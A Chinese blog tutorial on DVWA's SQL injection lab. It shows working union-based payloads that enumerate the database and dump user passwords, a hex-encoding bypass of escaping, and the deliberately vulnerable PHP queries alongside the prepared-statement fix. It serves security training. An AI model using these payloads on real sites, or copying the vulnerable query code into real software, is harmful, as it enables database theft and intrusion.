【工具-DVWA】DVWA渗透系列七:SQL Injection

前言

DVWA安装使用介绍,见:【工具-DVWA】DVWA的安装和使用

本渗透系列包含最新DVWA的14个渗透测试样例:

1.Brute Force(暴力破解)                    
2.Command Injection(命令注入)
3.CSRF(跨站请求伪造)                        
4.File Inclusion(文件包含)
5.File Upload(文件上传)                    
6.Insecure CAPTCHA(不安全的验证码)
7.SQL Injection(SQL注入)                    
8.SQL Injection(Blind)(SQL盲注)
9.Weak Session IDs(有问题的会话ID)                
10.XSS(DOM)(DOM型xss)
11.XSS(ref)(反射型xss)                    
12.XSS(Stored)(存储型xss)
13.CSP Bypass(Content Security Policy内容安全策略,旁路/绕过)    
14.JavaScript​​​​​​​

安全级别分低、中、高、安全四个级别来分析SQL Injection的渗透测试过程。

【工具-DVWA】DVWA渗透系列七:SQL Injection_第1张图片

1 基础知识

  • SQL Injection-SQL注入

通过任意手段,达到让程序执行恶意SQL代码的目的。

  • 任意手段

表单提交;任何后端可利用的接口;可能被后端读取并添加到SQL中的上传文件名等等

  • 注入目的

获取或超控数据库里的数据

  • 注入过程
  1. 判断是否有SQL注入漏洞
  2. 判断SQL所查询字段的个数
  3. 判断SQL中查询字段与界面显示字段的对应关系
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 获取表中的数据

2 Low

2.1 渗透测试

  • 确认有SQL注入漏洞,使用【#】截断后续SQL语句(PS:注意中英文的冒号哦
1' or 1 =1 #

【工具-DVWA】DVWA渗透系列七:SQL Injection_第2张图片

  • 确认SQL所查询字段的个数为2个(order 3时出现异常)
1' or 1=1 order by 2 #

【工具-DVWA】DVWA渗透系列七:SQL Injection_第3张图片

  • 确认SQL中查询字段与界面显示字段的对应关系:First name对应第一个字段,Surname对应第二个
9527' union select 1,2 #

【工具-DVWA】DVWA渗透系列七:SQL Injection_第4张图片

  • 获取当前数据库:dvwa
9527' union select 1,database() #

【工具-DVWA】DVWA渗透系列七:SQL Injection_第5张图片

  • 获取数据库中的表:guestbook,users
9527' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

【工具-DVWA】DVWA渗透系列七:SQL Injection_第6张图片

  • 获取表中的字段名:以users为例:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
9527' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

【工具-DVWA】DVWA渗透系列七:SQL Injection_第7张图片

  • 获取表中的数据:见图
9527' union select group_concat(user_id,'-',first_name,'-',last_name),group_concat(password) from users #

【工具-DVWA】DVWA渗透系列七:SQL Injection_第8张图片

2.2 源码分析

分析:字符型注入漏洞,没有任何过滤和效验

$id = $_REQUEST[ 'id' ];

// Check database
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
"; }

3 Medium

3.1 渗透测试

  • 发现:不能通过页面输入,咋办?使用burpsuite拦截修改!

【工具-DVWA】DVWA渗透系列七:SQL Injection_第9张图片

【工具-DVWA】DVWA渗透系列七:SQL Injection_第10张图片

返回:SQL错误,咋不行了?

  • 试试数字型注入,成功!
1 or 1=1 #

【工具-DVWA】DVWA渗透系列七:SQL Injection_第11张图片

  • 后续渗透过程和Low的类似,除了获取表中的字段名这一步,由于使用了【'users'】,有单引号!后台可能做了效验或者转义,所以ID也用了数字查询,特意没有用字符查询,咋办?采用Hex(16进制)编码可以绕过,users的编码是:7573657273!
id=9527 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

3.2 源码分析

发现:使用了mysql_real_escape_string,对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,所以可以采用Hex编码绕过。

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

4 High

4.1 渗透测试

发现:居然又换了花样,采用弹框式,发起注入请求的页面和结构展示页面不是同一个,但是整个渗透过程和Low一模一样!

【工具-DVWA】DVWA渗透系列七:SQL Injection_第12张图片

4.2 源码分析

high.php:发现添加了LIMIT 1,由于我们注入SQL后面一直都加了【#】,所以这个新增条件,对渗透过程没产生影响。

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

5 Impossible

源码分析:采用了PDO的方式处理SQL请求,数据与逻辑分离,等同于Java里的预处理。

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

6 总结

一句话:没有采用预处理方式的,都可能存在SQL注入漏洞,黑名单总有可能被绕过!

 

 


爱家人,爱生活,爱设计,爱编程,拥抱精彩人生!

你可能感兴趣的:(安全,工具)